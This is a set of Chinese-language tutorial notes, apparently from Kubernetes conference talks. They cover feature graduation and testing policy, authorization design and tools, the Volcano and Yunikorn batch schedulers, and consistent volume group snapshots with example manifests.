为了让项目持续成长和演进,我们需要添加新功能。我们通过“Kubernetes增强提案”(KEPs)流程来组织新功能的开发。这个流程虽然对新贡献者来说可能有些繁重,但其目的是为了在SIGs之间进行充分沟通,确保透明性,并打破各个团队之间的隔阂。


功能的生命周期阶段

当我们想要添加一个新功能时,需要考虑它的生命周期。Kubernetes的功能有三个主要阶段:Alpha、Beta和GA。

  • Alpha阶段:在这个阶段,功能是一个可用的提案。它应该能够工作,但质量门槛较低。我们允许在这个阶段进行创新和收集反馈,因为不可能事先预知所有细节。
  • Beta阶段:进入Beta阶段后,对稳定性的要求更高。Beta功能默认是启用的,这意味着每个Kubernetes用户都会在集群中运行这个新功能。因此,我们不能破坏用户的体验,但用户仍需知晓功能细节可能仍有改进空间。
  • GA阶段:这是最终阶段,我们对最终用户和实现做出了强有力的承诺。GA功能具有非常高的质量门槛,是生态系统可以依赖的稳定基石。

API的重要性与挑战

Kubernetes最强大的特点之一是其API。大多数功能都依赖于API。API的关键在于它定义了接口和语义,允许成千上万个项目基于这些接口构建,从而实现互操作性和可移植性。

然而,API也带来了挑战。如果一个API停留在Beta阶段,那么所有依赖它的功能也会被默认禁用。因此,我们需要能够同时将功能和API升级到更高阶段,以提供稳定性。

为了确保新功能在生产环境中是可靠的,我们成立了“生产就绪性小组”。当功能提案希望从Beta升级到GA时,这个小组会提出一些尖锐的问题,例如可扩展性要求和故障场景处理。


质量保证的核心:测试

我们通过测试来强制执行质量标准。我们采用一种测试金字塔模型,但特别强调端到端(e2e)集成测试。

其中最关键的一套测试是一致性测试。这套测试的目的是确保应用程序可以在不同的Kubernetes发行版和安装方式上运行,从而保证可移植性。它是Kubernetes集群能够运行可移植应用程序的最低必要标准。

我们投入了大量资源在CI(持续集成)和自动化上,并严重依赖SIGs。在Kubernetes中,质量是共同责任。没有专门的测试团队,每个功能的开发者都需要对自己的领域负责。

我们有一项严格的政策:零容忍测试偶发性失败。如果一个测试变得不稳定,社区会立即追踪并修复它,或者将其移除。这确保了CI的可靠性和我们对质量的承诺。

SIG Testing小组并不拥有所有测试,但他们负责测试基础设施、标准、框架和最佳实践,并与所有SIG合作。


改进测试框架:以DRA为例

随着项目发展,测试变得愈加复杂。以“动态资源分配”(DRA)功能为例,它包含多个Alpha和Beta功能,测试依赖关系复杂。

过去,我们通过一个名为[Feature:XXX]的标签来标记测试。这个标签的含义非常模糊,可能表示需要功能门控、需要特定集群配置或需要安装外部组件。这导致大多数CI作业直接跳过所有带此标签的测试,开发者需要自行设置复杂的CI流程。

从Kubernetes 1.33开始,我们改进了测试框架,引入了更清晰的注解方法:

  • 对于功能门控:使用 WithFeatureGate 方法,传入标准的特性门定义。
    // 示例:在测试中声明依赖的功能门
    framework.WithFeatureGate(features.MyFeatureGate)
    
  • 对于其他依赖:如需要安装控制器或驱动,使用 WithFeature 标签。

这些信息现在作为可查询的元数据(通过Ginkgo标签)附加到测试上,而不是塞在测试名称里。这使我们能够建立标准的CI任务,例如:

  • 一个任务开启所有Alpha功能门,并运行所有仅依赖这些功能门的测试。
  • 另一个任务开启所有Beta功能门,运行相应的测试。

我们期望功能审批者推动一个规范:任何功能,即使是Alpha阶段,也必须拥有自动化测试。没有可靠测试的功能不应被推广到Beta阶段。

我们还加强了工具链,确保Alpha功能必须默认关闭的策略被强制执行,避免了向用户传递混乱的质量信号。

对于像DRA这样需要额外设置(如安装模拟驱动)的功能,我们提供了可复用的CI任务模板。社区将在1.34版本周期中广泛宣传这些变化和新的期望。


测试执行与零容忍策略

以下是关于测试执行和“零容忍”策略的一些细节:

测试执行时间

  • 预合入检查:针对开发者的代码变更,我们努力将反馈时间控制在1小时左右。
  • 发布阻塞测试:时限约为2小时。
  • 大规模测试:如可扩展性测试,可能运行12-14小时,但通常以周期性任务方式运行。

零容忍策略的实施

  1. 一旦发现测试不稳定,立即提交问题报告。
  2. 功能负责人或社区成员负责调查和修复。
  3. 我们拥有强大的工具链(如 go.k8s.io/triage),能对CI失败信息进行聚类分析,快速识别广泛出现的问题模式。
  4. SIG Release和CI Signal团队密切监控发布阻塞测试,确保问题被及时跟踪和解决。
  5. 这是一种文化转变:让开发者习惯于“测试要么通过,要么失败”,而不是“重试几次或许能过”。当不稳定成为例外而非常态时,整个社区就更愿意主动解决它们。

总结与展望

本节课我们一起学习了Kubernetes功能从Alpha到GA的毕业流程。我们了解到:

  1. 严格的生命周期阶段(Alpha -> Beta -> GA)是平衡创新与稳定的关键。
  2. API的稳定性和清晰的行为定义是Kubernetes成功的基石。
  3. 质量是社区的共同责任,通过KEP流程、生产就绪性审查和SIG协作来保障。
  4. 测试,尤其是一致性测试,对于保证可移植性至关重要。
  5. 我们正在通过改进测试框架(如清晰的特性门控注解)和强化CI标准,将质量保证的关口前移,即使对于Alpha功能也要求拥有自动化测试。
  6. “零容忍测试不稳定”政策是维持高质量CI和开发者信心的核心文化。

展望未来,我们将继续提高标准,确保即使是Alpha功能也不会影响GA功能的稳定性,并让整个流程对贡献者更加清晰和友好。

008:将授权作为开发者工作流

在本节课中,我们将探讨如何将授权(Authorization)从传统的安全限制转变为提升开发者体验和产品能力的工作流。我们将分析当前授权实践中的问题,介绍核心设计原则,并了解相关的开源工具和实现模式,最终帮助你构建更安全、更易维护的云原生应用。

授权悖论与现状

在当今现代化的云原生环境中,每个应用的每个请求都需要回答一个核心问题:当前用户是否被允许执行此操作? 这是一个无法避免且对安全至关重要的问题。

然而,授权在我们的架构和工作流中常常被视为事后才考虑的事项,尤其是在开发者和基础设施工程师的工作中。这造成了所谓的“授权悖论”:它无处不在,却缺乏良好的工具和模式来构建,从而产生了摩擦而非流畅的工作流。

上一节我们介绍了授权在当前开发中的困境,本节中我们来看看我们是如何走到这一步的。

授权演进的缺失

回顾过去十年,基础设施的许多方面都经历了优雅的转型:

  • 网络:从手动配置负载均衡器和防火墙规则,发展到声明式的服务网格。
  • 存储:从管理卷和挂载点,发展到声明持久卷声明。
  • 部署:从容易出错的手动Shell脚本,发展到自动化、可靠的CI/CD流水线。

这些转型通过提供清晰的抽象和原语,将基础设施的关注点转化为开发者关注点,在提高开发者生产力的同时,也提升了安全性和可靠性。

但授权并未遵循同样的演进路径。它常常与业务逻辑深度耦合,难以提取和标准化。同时,授权需求通常是领域特定的,且现代应用的关系和约束极其复杂,不存在“一刀切”的解决方案。

因此,授权卡在了一个介于基础设施、应用和业务之间的尴尬位置。这种复杂性带来了真实的成本:开发者需要在实现功能和执行权限检查之间不断切换上下文,导致代码中充斥着难以维护的 if-else 语句,产生安全漏洞,拖慢开发速度,并给新成员入职带来巨大障碍。

所以,授权不仅是一个安全问题,更是一个开发者体验问题。糟糕的开发者体验会让所有人感到痛苦。

核心理念:将授权视为工作流

那么,我们能否换一种思路,将其视为工作流问题呢?开发者体验的核心在于实现“心流”状态,即完全沉浸于解决问题。授权常常会打断这种心流,但它本不必如此。

关键洞察在于:首先关注工作流。关注开发者在开发过程中如何与授权交互,是改善安全结果和开发者体验的重要环节。

当我们将授权视为一种创造性的工具而非约束时,它可以变得声明式而非命令式,可以存在于定义良好的位置而非散落在代码库中。借助正确的抽象,授权可以变得直观且易于维护。

核心设计原则

为了构建“工作流优先”的授权体系,我们需要遵循以下几个核心设计原则。

原则一:领域驱动的授权

这意味着围绕业务领域而非技术结构来建模权限。

不要思考对数据库表的CRUD操作。
应该使用产品的语言来思考。权限应该讲产品的语言,而非代码库的语言。

例如,一个文档协作系统应将权限建模为 编辑者审阅者查看者,而非 删除。这能在产品、开发和安全团队之间建立一种通用语言,使授权更直观,也更容易随着产品演进而维护。

原则二:声明式策略

传统的代码中充满了命令式的权限检查,例如 if (user.hasPermission()) then allow。这些检查难以审计、测试和维护。

声明式策略则描述意图(应该允许什么),而非如何检查权限。它们成为可版本控制、可评审、可独立于应用代码进行测试的人工可读文件。

你的策略应清晰表达“谁能在何种业务规则下做什么”,并存在于应用代码之外。这种方式能更好地应对复杂的权限模型增长。

原则三:外部化决策点

将授权与应用逻辑解耦。不要在代码中嵌入权限检查,而是询问一个外部服务:用户X能否对资源Z执行操作Y?

这种架构模式能在所有软件中实现一致的执行。当应用增长时,授权决策不会成为需要更新的瓶颈。你可以无需启动整个技术栈来验证权限模型。

授权服务不应是一个黑盒,它应该像你处理其他代码一样被对待——拥有清晰的API和契约。

原则四:上下文感知

简单的基于角色的访问控制(RBAC)已不足以满足现代应用的需求。我们需要考虑属性,如时间、地点、资源属性、关系上下文等。

例如,一个医疗系统可能允许在办公时间访问患者记录,但在非办公时间需要额外批准。一个协作工具可能在允许某些操作前检查文档状态。

这意味着需要从RBAC转向更动态的基于属性的访问控制(ABAC),实现更细粒度的权限控制。

开发生命周期集成

这些原则需要贯穿整个开发生命周期:

  • 需求收集阶段:权限模型应与功能特性一同定义,成为产品思考的一部分。
  • API设计阶段:授权需求应明确记录在API规范中。
  • 实现阶段:为授权检查提供清晰的接口,确保集成的一致性。开发者不应发明新的权限检查方式。
  • 测试阶段:像对待业务逻辑一样,对授权策略进行专门的测试。
  • 运维阶段:将授权决策纳入日志和审计追踪,进行监控和可观测性分析。

采用这种方式能带来显著收益:减少上下文切换、更清晰的组件契约、自文档化的权限模型、更快的成员入职和功能开发速度。

开源工具生态

近年来,开源世界出现了丰富的授权工具生态,其中许多已成为CNCF项目。它们采用不同方法解决授权挑战,但共同目标是使授权更易于管理。

以下是几个代表性工具:

Open Policy Agent (OPA)
一个通用的策略引擎,可用于Kubernetes准入控制、微服务API授权等。其核心是Rego策略语言。OPA完全将策略与代码解耦,符合外部化原则。它被Netflix等大公司使用,但Rego语言有一定学习曲线。

OpenFGA
一个CNCF沙箱项目,专注于大规模的关系型授权。它基于Google的Zanzibar论文,适用于建模对象间复杂的任意关系(如Google Drive的权限)。它针对高性能和大规模优化,但在RBAC或ABAC方面可能不是最佳选择。

OpenID Foundation 与 OpenFEN
OpenID基金会成立了OpenFEN工作组,旨在标准化授权API和接口,促进不同授权系统间的互操作性。这项工作对于授权生态的长期演进非常重要。

Cerbos
采用不同的方法,使用人类可读的YAML策略,产品团队也能理解和评审。它内置了用于测试策略的“游乐场”和测试框架,提供了良好的开发者体验,使授权更易于访问。

如何选择?
没有放之四海而皆准的方案。选择应取决于你的架构和需求:

  • 如果需要超越授权的广泛策略执行(如配置验证),可考虑OPA。
  • 如果有复杂的大规模关系型权限,可考虑OpenFGA。
  • 如果看重开发者工作流集成和易用性,可考虑Cerbos。
    许多团队最终会使用多种工具,这很正常。关键在于坚持我们之前讨论的核心原则。

实现模式

理解了原则和工具后,我们来看看一些经过实战检验的实现模式。

架构模式

策略即服务模式
将所有授权逻辑封装在一个专用服务中。应用程序通过API(如REST或gRPC)调用该服务进行授权请求,并获得简单的“是/否”响应。这能实现跨服务的一致执行,并在规则变更时简化策略更新,非常适合微服务架构或需要集中治理的场景。

边车模式
每个应用实例都附带一个授权引擎,通常以边车容器形式部署在同一Pod中。这为授权检查提供了极低的延迟,消除了网络往返开销,尤其适用于将授权置于关键路径且对延迟敏感的环境,在Kubernetes中与Envoy等配合良好。

多层授权模式
认识到不同类型的授权属于技术栈的不同层次:

  1. API网关/入口层:进行粗粒度检查,如认证验证、基础角色检查。
  2. 服务层:执行业务逻辑授权,进行用户级检查。
  3. 数据层:实现行级或对象级的细粒度访问控制。
    每层处理其最擅长的部分,这有助于创建纵深防御安全模型。

开发与测试模式

策略驱动设计
翻转传统的实现顺序。首先编写授权策略和测试,确保其行为符合预期,然后再编写使用这些策略的代码。这类似于测试驱动开发(TDD),能确保授权按预期工作,甚至可以用来驱动API设计。

请求上下文丰富化
授权决策通常需要丰富的上下文信息。通过请求中间件或拦截器,将用户属性、资源元数据、环境因素等信息捆绑起来,传递给授权服务。这使得授权规则更强大、更灵活。

策略测试
对你的授权策略进行充分测试至关重要。如果所选方案没有内置测试框架,你可能需要考虑其他工具。使用测试夹具、模拟请求、检查追踪记录,确保策略在各种场景下行为正确。

总结与行动指南

本节课中,我们一起学习了如何将授权从安全限制转变为开发者工作流和产品能力的关键部分。

我们探讨了当前授权实践中的“授权悖论”和演进缺失问题,提出了“工作流优先”的核心理念。接着,我们深入介绍了四个核心设计原则:领域驱动授权声明式策略外部化决策点上下文感知。我们还浏览了包括OPA、OpenFGA和Cerbos在内的开源工具生态,并分析了策略即服务、边车、多层授权等实用的实现模式。

这些转变不仅仅是理论上的,它们正在全球各地的组织中发生。通过采用这些方法和工具,我们可以:

  • 从摩擦转向心流:让授权成为创意工作流的一部分,而非障碍。
  • 实现安全左移:将安全从附加项转变为设计之初就内置的架构考量。
  • 赋能开发者:让开发者能在理解“为什么”的基础上,做出更好的安全和产品决策。

你的旅程可以从这里开始:深入研究提到的工具和模式,在团队中讨论如何将授权更好地集成到开发工作流中,并尝试在小范围内实践这些原则。记住,目标是让授权服务于开发者和产品,而非相反。

009:在Kubernetes上使用自定义调度器优化批处理工作负载效率

在本教程中,我们将探讨如何在Kubernetes上高效运行批处理工作负载,例如ETL、ELT和机器学习训练。我们将重点关注默认Kubernetes调度器的局限性,并介绍两种自定义调度器解决方案:Volcano和Yunikorn。通过学习,您将了解如何利用这些工具提升集群资源利用率,并更好地支持多租户和复杂的批处理作业调度需求。

背景与动机

我是一名数据工程师和机器学习工程师。我们来自Hadoop世界,后来迁移到了Kubernetes。Kubernetes最初是为无状态应用设计的,但如今它已成为运行各类工作负载的目标平台。我们最初在Kubernetes上运行批处理工作负载时遇到了很多挑战。

我们的项目源于构建一个开源平台,用于为城市骑行者预测最佳导航路线。这个平台需要处理实时事件(如道路封闭),并据此重新计算路线或重新训练模型。这要求我们的数据处理管道能够优先处理高优先级事件,同时保证平台持续运行。

默认Kubernetes调度器的局限性

上一节我们介绍了项目背景,本节中我们来看看为什么默认的Kubernetes调度器在处理批处理工作负载时存在不足。

首先必须承认,默认调度器本身是一项非常出色的技术。它内部包含预过滤、多种算法和概念,功能非常复杂和强大。然而,它并非为批处理世界的需求而设计。

以下是默认调度器在处理批处理工作负载时的主要限制:

  • 缺乏应用级概念:默认调度器在Pod级别进行调度,无法识别一个应用(如Spark应用、Ray应用)由多个Pod组成。
  • 队列与公平性:它本质上是一个单一的大队列,缺乏高级的队列管理、公平共享或优先级调度策略。
  • 调度策略有限:最典型的是不支持“组调度”(Gang Scheduling)。组调度要求一个作业的所有Pod必须同时被调度运行,否则部分Pod运行而另一部分等待会导致资源死锁和低效。
  • 多租户支持有限:难以在不同团队或业务单元之间有效地划分和保证资源。
  • 资源死锁处理:例如,两个应用各需要4个Pod,但集群只剩下4个空闲资源。默认调度器可能给每个应用分配2个Pod,导致两者都无法继续,也无法完成,形成死锁。

自定义调度器的演进:从KubeBatch到Volcano与Yunikorn

认识到默认调度器的限制后,社区开始探索解决方案。最早的倡议之一是2018年的KubeBatch项目,它为Kubernetes上的批处理调度奠定了基础,可以说是后续所有自定义调度器的“祖先”。虽然现已归档,但其思想被继承和发展。

目前,有两个主流的、由社区支持的自定义调度器解决方案:Volcano和Yunikorn。

Volcano调度器

Volcano是KubeBatch的一个分支,目前是CNCF旗下的项目。对于生产环境,项目由CNCF或Apache等基金会支持非常重要,这意味着它有活跃的社区和长期维护的承诺。

以下是Volcano的核心特点:

  • 专为批处理设计:内置了对组调度等批处理场景的原生支持。
  • 丰富的资源管理:提供复杂的队列、优先级、资源预留和抢占机制。
  • 适合大规模多租户集群:能够有效地在多个团队间划分和管理集群资源。
  • 支持异构硬件:对GPU等特殊硬件有良好的支持,这对于昂贵的AI/ML训练任务至关重要。

适用场景:AI/ML批处理、HPC工作负载、需要复杂调度策略和多租户管理的场景。

最佳实践建议
以下是部署和使用Volcano时需要考虑的几个方面:

  • 规划队列管理:提前设计好队列的层次结构和资源分配策略。
  • 明确资源需求:为作业指定准确的资源请求和限制。
  • 管理工作依赖:合理设计作业间的依赖关系,避免复杂的“意大利面式”依赖图。

Yunikorn调度器

Yunikorn的名字源于“YARN Unified with Kubernetes”。它借鉴了Apache Hadoop YARN调度器的优秀理念,并将其引入Kubernetes世界。Yunikorn是Apache软件基金会下的项目。

以下是Yunikorn的核心特点:

  • 提供YARN式特性:支持队列、公平调度、组调度和资源保障。
  • 非侵入式集成:作为Kubernetes的一个调度器插件运行,无需大幅改动现有集群。
  • 优先级调度:支持基于优先级的作业调度。
  • 友好的Web UI:提供可视化界面,便于监控队列和作业状态(注:最新版Volcano也增加了UI)。

适用场景:大数据工作负载、多租户环境、资源需求动态变化的场景。

最佳实践建议
与Volcano类似,使用Yunikorn也需要注意以下几点:

  • 设计队列层次:根据组织架构或业务需求规划队列树。
  • 配置资源配额:为不同队列设置资源上限和保障。
  • 利用优先级:合理设置作业优先级,确保关键任务优先获得资源。

实践对比与经验总结

在构建骑行导航平台的过程中,我们在一个多租户集群(包含数据工程、ML、数据科学团队)中,使用有限资源测试了Volcano和Yunikorn。我们模拟了每小时上百个事件的处理,以及节点故障等场景。

以下是我们从实践角度得出的一些主观对比总结(评分:3星/笑脸为优,1星/哭脸为差):

评估维度 Volcano Yunikorn 说明
多工作负载支持 ⭐⭐⭐ ⭐⭐ Volcano覆盖场景更广。
配置复杂度 😞 (较复杂) 🙂 (相对简单) Volcano功能更全面,因此配置项更多。
资源利用率 ⭐⭐ ⭐⭐ 两者都能较好利用资源。
容错与恢复 ⭐⭐ ⭐⭐ 在Pod/节点故障及抢占方面表现相似。
调度延迟 ⭐⭐ ⭐⭐ 差异不大。
负载分布 ⭐⭐ ⭐⭐ 表现接近。
作业完成时间 ⭐⭐ ⭐⭐ 对于运行数小时的作业,差异不显著。
交互式工作负载 😞 😞 两者都不太适合Spark交互式笔记本场景。
已知问题 偶发资源饥饿 偶发Spark Driver因抢占失败 社区仍在持续改进。

核心结论

  1. 两者均优于默认调度器:无论是Volcano还是Yunikorn,在运行批处理工作负载时,在集群资源利用率方面都比默认调度器有数倍的提升。
  2. 增强了资源管理:它们提供了更丰富的调度策略(如组调度)、更好的队列管理和多租户支持。
  3. 与Kubernetes无缝集成:它们以插件方式运行,保持了Kubernetes的原生体验。
  4. 选择取决于具体需求:Volcano功能更全面强大,适合复杂场景;Yunikorn理念更接近YARN,可能对大数据背景的团队更友好。社区拥有多个选择是一件好事。

对社区的呼吁:我们需要更标准化的基准测试方法和数据集(例如类似TPC-DS的基准),以便在更真实、可比较的场景下评估这些调度器的性能。

总结

本节课中我们一起学习了如何在Kubernetes上优化批处理工作负载。我们首先分析了默认Kubernetes调度器在处理ETL、ML训练等批处理作业时的局限性,然后介绍了两种主流的自定义调度器解决方案:CNCF的Volcano和Apache的Yunikorn。通过对比它们的特性、适用场景和实践经验,我们了解到这些工具能显著提升集群资源利用率和调度效率。最终,选择哪一个取决于您的具体工作负载复杂度和团队技术背景。希望本教程能帮助您更好地在Kubernetes上运行和管理批处理任务。

011:揭秘一致性卷组快照

概述

在本节课中,我们将要学习Kubernetes中的一致性卷组快照功能。我们将探讨为什么需要这个功能、它是如何工作的、以及如何使用它来保护运行在Kubernetes中的多卷应用程序。

为什么需要数据保护与灾难恢复

灾难可能随时发生。我们需要保护宝贵的数据免受潜在损失。以下是可能导致灾难的因素:

  • 人为错误是主要因素之一。
  • 火灾、洪水、网络攻击等。

如果数据中心被烧毁,存储在那里的数据肯定会丢失。然而,如果你在另一个位置备份了数据,你总是可以恢复数据。因此,数据保护和灾难恢复对于关键任务应用程序非常重要。

现有卷快照API的局限性

卷快照API在Kubernetes 1.12版本中引入,并在1.20版本中进入GA阶段。它允许你对持久卷进行崩溃一致性快照,并在灾难发生时使用该快照在以后恢复数据。它为保护在Kubernetes中运行的应用程序提供了基础构建块。

我们已经有了用于单个卷的卷快照API。那么为什么还需要卷组快照呢?现在,让我们看一个例子。

假设你有一个应用程序在运行,它使用多个卷来存储其数据、日志等。你想要保护你的应用程序。为了确保应用程序一致性,你需要在拍摄快照前暂停应用程序,并在之后恢复它。但暂停需要很长时间,而且成本很高。因此你可能不想频繁地这样做。但你仍然希望能够更频繁地备份数据。

如果没有应用程序暂停,你在时间点1对第一个卷拍摄快照。然后在时间点2对第二个卷拍摄快照。接着在时间点3对第三个卷拍摄快照。现在,你尝试将相同的应用程序克隆到不同的命名空间,或者你的原始应用程序可能已损坏,你正尝试从这些快照中恢复你的应用程序。

恢复后,你可能会遇到问题,因为快照是在不同时间拍摄的,你得到的数据是不一致的。我们如何解决这个问题?幸运的是,一致性卷组快照来拯救我们了。

一致性卷组快照简介

一致性卷组快照允许在同一时间点从多个卷拍摄快照,以确保写入顺序一致性。这对于拥有多个卷的应用程序非常重要。

拍摄一致性卷组快照后,你可以从快照创建卷并恢复你的应用程序。请注意,如果你的应用程序是数据库,你仍然需要进行崩溃恢复。Leonardo稍后会给出一个例子。

卷组快照功能支持崩溃一致性。在同一时间点对所有卷进行快照也比一次拍摄一个快照更高效。它提供了更好的性能。

卷组快照API设计

我们在卷快照于1.20版本进入GA后不久就开始设计卷组快照功能。但在最终确定设计之前花了一些时间,我们在1.29版本中将其作为Alpha功能引入。然后我们在1.32版本中将其移至Beta阶段。

该功能引入了三个新的API对象:

  • VolumeGroupSnapshotClass:由管理员创建,用于描述应如何创建卷组快照。
  • VolumeGroupSnapshot:代表用户为多个卷创建卷组快照的请求。
  • VolumeGroupSnapshotContent:代表存储系统下的物理卷组快照资源。

在动态配置的情况下,内容由快照控制器创建;在预配置的情况下,由管理员创建。Leonardo稍后将解释这两种配置类型。

VolumeGroupSnapshotClass

在VolumeGroupSnapshotClass中,我们有CSI驱动程序的名称和参数。参数包含对Kubernetes不透明的信息,仅由CSI驱动程序理解。它包含删除策略。其工作方式与卷快照类中的删除策略相同。它可以是DeleteRetain

以下是一个VolumeGroupSnapshotClass的例子。这里的删除策略是Delete

apiVersion: snapshot.storage.k8s.io/v1beta1
kind: VolumeGroupSnapshotClass
metadata:
  name: csi-groupsnapshotclass
driver: csi.example.com
deletionPolicy: Delete

VolumeGroupSnapshot

在VolumeGroupSnapshot API的spec中,你需要指定源。源可以是标签选择器或卷组快照内容名称,具体取决于配置类型。卷组快照类名称可以留空,表示将使用默认类。

创建卷组快照后,你可以在状态中看到绑定的卷组快照内容名称和创建时间戳。你还会在状态中看到readyToUse参数,该参数指示此卷组快照是否已准备好用于恢复你的PVC。

以下是一个例子。注意这里的标签。你需要在所有要一起快照的PVC上指定该标签。

apiVersion: snapshot.storage.k8s.io/v1beta1
kind: VolumeGroupSnapshot
metadata:
  name: my-group-snapshot
spec:
  source:
    selector:
      matchLabels:
        app: my-database
  volumeGroupSnapshotClassName: csi-groupsnapshotclass

VolumeGroupSnapshotContent

在VolumeGroupSnapshotContent对象中,你有删除策略、CSI驱动程序名称、卷组快照类名称和源。源可以是存储系统上卷的卷句柄列表,或组快照句柄(包括卷组快照句柄和存储系统上各个快照句柄的列表)。

卷组快照和卷组快照内容彼此之间存在一对一映射。

在下面的卷组快照内容示例中,我们在源中看到卷句柄。在状态中,我们看到卷组快照句柄以及各个卷句柄和快照句柄对的列表。

apiVersion: snapshot.storage.k8s.io/v1beta1
kind: VolumeGroupSnapshotContent
metadata:
  name: snapcontent-abc123
spec:
  volumeGroupSnapshotClassName: csi-groupsnapshotclass
  source:
    volumeGroupSnapshotHandle: group-snap-handle-from-storage
    # 或者使用 volumeHandles
    # volumeHandles:
    #   - handle-1
    #   - handle-2
  volumeGroupSnapshotRef:
    name: my-group-snapshot
    namespace: default

CSI规范支持

为了支持此功能,我们还在CSI规范中添加了卷组快照定义。CSI规范中的此功能在CSI规范1.11版本中进入GA阶段。CSI规范没有Beta阶段。

我们添加了一个新的组控制器服务和一项新能力。我们添加了三个新的RPC:CreateVolumeGroupSnapshotDeleteVolumeGroupSnapshotGetVolumeGroupSnapshot

为了在CSI驱动程序中支持此功能,存储供应商需要实现这个新的控制器服务和新的RPC。

系统架构与组件协作

在此图中,我们展示了CSI驱动程序如何部署,以及支持卷组快照的各种组件如何协同工作。我们通过快照控制器和CSI快照器Sidecar添加了卷组快照支持。

快照控制器承担了繁重的工作。它创建卷组快照内容(在动态配置的情况下),并负责绑定卷组快照和卷组快照内容。

CSI快照器Sidecar与CSI驱动程序一起部署。它监视卷组快照内容API对象。它调用CSI驱动程序在存储系统上创建或删除卷组快照。

我们引入了特性门控。由于这是Beta API,特性门控默认是禁用的。

两种配置类型的工作流程

现在,让我交给Leonardo。他将解释两种软件配置类型的工作原理。

你可以使用卷组快照做三件主要事情。第一个称为动态配置。这是当你需要备份并给定卷组快照类时使用的工作流程。你需要创建一个卷组快照对象。系统将为你配置一切:一个卷组快照内容、一组卷快照和一组卷快照内容。从一个对象中就能得到一切,这很神奇。

第二个工作流程称为预配置。这是当你希望Kubernetes集群控制存储中已存在的现有组快照时使用的。要使该工作流程生效,你需要自己创建所有对象:卷组快照内容、卷组快照、卷快照内容和卷快照。

第三个也是最重要的工作流程是恢复。这真的很容易做到,因为它被设计成可以像使用普通卷快照一样使用。我们稍后会看到。

动态配置详解

现在,我们将解释动态配置的工作原理。由于我是意大利人,喜欢古典音乐和歌剧,我将使用歌剧隐喻。我们将这个过程分为四幕,每幕都有场景。这是一部为四个角色创作的歌剧:Kubernetes管理员、CSI驱动程序、快照器Sidecar和通用快照控制器。

第一幕:你是一名Kubernetes管理员,正在办公桌前工作。一切都很顺利。突然,一位开发人员向你要一个数据库。你创建了一些存储。你知道最好将事务日志放在单独的卷中。因此,我将创建两个PVC:一个用于数据,第二个用于PostgreSQL中的事务日志(称为WAL)。这里最重要的部分是持久卷声明中数据卷和WAL卷之间的公共标签,在本例中名为instance-name。然后我立即配置一个卷组快照类,因为安全总比担心好。

第二幕:现在我们进入控制器管理器内部。有人创建了一个CronJob。CronJob控制器开始处理作业定义,并将其交给作业控制器。作业控制器创建了一个Pod。这个Pod触发你的数据库操作员进行备份。数据库操作员创建了一个卷组快照对象。看,我们有之前见过的instance-name标签。这很漂亮。我们还有用于卷组快照类名称的DNS。快照控制器被唤醒。它创建一个内容对象,并获取有关需要快照的卷的所有详细信息。

第三幕:我们在CSI驱动程序的Pod内部。快照器Sidecar意识到有一个新的卷组快照内容对象。但它不知道如何自己拍摄快照。它需要询问坐在旁边的CSI驱动程序朋友。因此它以gRPC格式发出CreateVolumeGroupSnapshot请求。CSI驱动程序执行工作并拍摄组快照。快照器Sidecar不断查询状态直到它准备就绪。然后它填充所有细节。快照控制器再次被唤醒,因为对象发生了变化。它现在有一个卷组快照对象和一个卷组快照内容对象。它需要创建一组卷快照和一组卷快照内容,因为这是你重新创建PVC时所需要的。它使用之前步骤中发送的数据来创建一切。这就是魔法的工作原理。快照器Sidecar再次被唤醒,因为有新对象。它询问CSI驱动程序这些对象的状态,并填充状态。现在它们已准备就绪,可以使用了。

第四幕:我们回到办公室。一切都很顺利。开发人员要求恢复。这总是发生。只需重新创建一个持久卷声明,并在规范内的数据源字段中引用之前步骤中创建的卷快照对象。这就像你使用普通卷快照一样。我们希望恢复变得容易,因为当你需要恢复某些东西时,通常已经遇到了麻烦。最好避免复杂性。这非常重要。

这就是动态配置的工作原理。正如你所看到的,这是团队合作。不仅仅是一个软件组件在施展魔法,而是协作。这里最重要的是所有这些软件组件之间的通信。这比实际的快照实现更重要。

故障排查与前提条件

如果某些功能不工作,我们需要知道这目前是一个Beta功能。我们需要检查特性门控是否已启用。通用快照控制器中有特性门控。CSI快照器Sidecar中也有特性门控。显然,我们还需要安装CSI驱动程序。我们需要检查PVC是否真的可以在同一时间一起快照。至少它们需要由同一个CSI驱动程序配置。并且该CSI驱动程序应该是在卷组快照类中引用的那个。

如果检查了所有内容但仍然不工作,那么日志是你的朋友。你需要检查在哪个步骤停止了,发生了什么,然后我们需要修复一些错误。

数据库应用示例(PostgreSQL)

我是PostgreSQL用户,所以需要分享一些关于PostgreSQL的内容。但这对于许多像RDBMS这样工作的软件系统都是正确的。基本上,你以一份价格获得两个数据存储。右边那个称为事务日志。每次你更改某些内容时,都会在那里添加一个记录。当你提交时,这会被刷新到永久存储。系统会定期执行检查点。检查点意味着它将把所有内容刷新到你的数据存储(左边的那个),数据存储可以像本例中那样分割到多个卷中。

对于这样的系统,你需要原语之间的协作,就像本例中的卷快照和数据库操作员一样。因此,有人需要启动pg_start_backup函数,该函数将在RDBMS内部调整一些旋钮并立即执行检查点。此时系统是一致的。然后你可以拍摄快照。完成后,你需要运行pg_stop_backup。这会停止备份过程。

当你需要恢复这种情况时,如果快照是在不同时间点拍摄的,数据库将不一致。数据库只会查找第一个快照之前立即的检查点(即执行pg_start_backup的那个),然后回放事务日志直到一致。这将需要一些时间,因为它们不一致。

与此同时,使用组快照,这更容易,因为所有内容都是一致的,并且会快得多。这就是为什么组快照深受像我这样的数据库人员喜爱。这对我们来说是一个很棒的功能。

演示回顾

在演示中,我们使用了CloudNativePG(CNPG)操作符。我们创建了一个集群对象,数据库分布在多个卷上。为了备份这个系统,我们运行了CNPG备份命令。它创建了一个备份资源,该资源触发了数据库操作员。操作员创建了一个卷组快照对象,该对象已准备就绪。最重要的部分是选择器。然后你得到其他所有东西,因为CNPG使用数据库状态来注释它。你还会得到一个卷组快照内容对象,以及每个PVC一个卷快照列表和卷快照内容列表。使用它们真的很容易。这是团队合作。

未来发展路线图

现在该功能处于Beta阶段,我们一直在努力修复错误,并尝试将此功能引入GA。我们希望看到更多存储供应商的实现,并希望看到更多Kubernetes应用程序的集成,就像Leonardo为PostgreSQL操作员描述的备份资源案例一样。

总结

在本节课中,我们一起学习了Kubernetes一致性卷组快照功能。我们了解了为什么需要它来确保多卷应用程序的数据一致性,探索了其API设计和工作原理,并通过示例和演示看到了它的实际应用。该功能为在Kubernetes中运行的有状态应用程序提供了强大的数据保护和灾难恢复基础,特别是对于数据库等复杂应用。随着更多存储供应商和应用程序的集成,它将变得更加普及和强大。

014:利用高级调度加速高性能AI训练

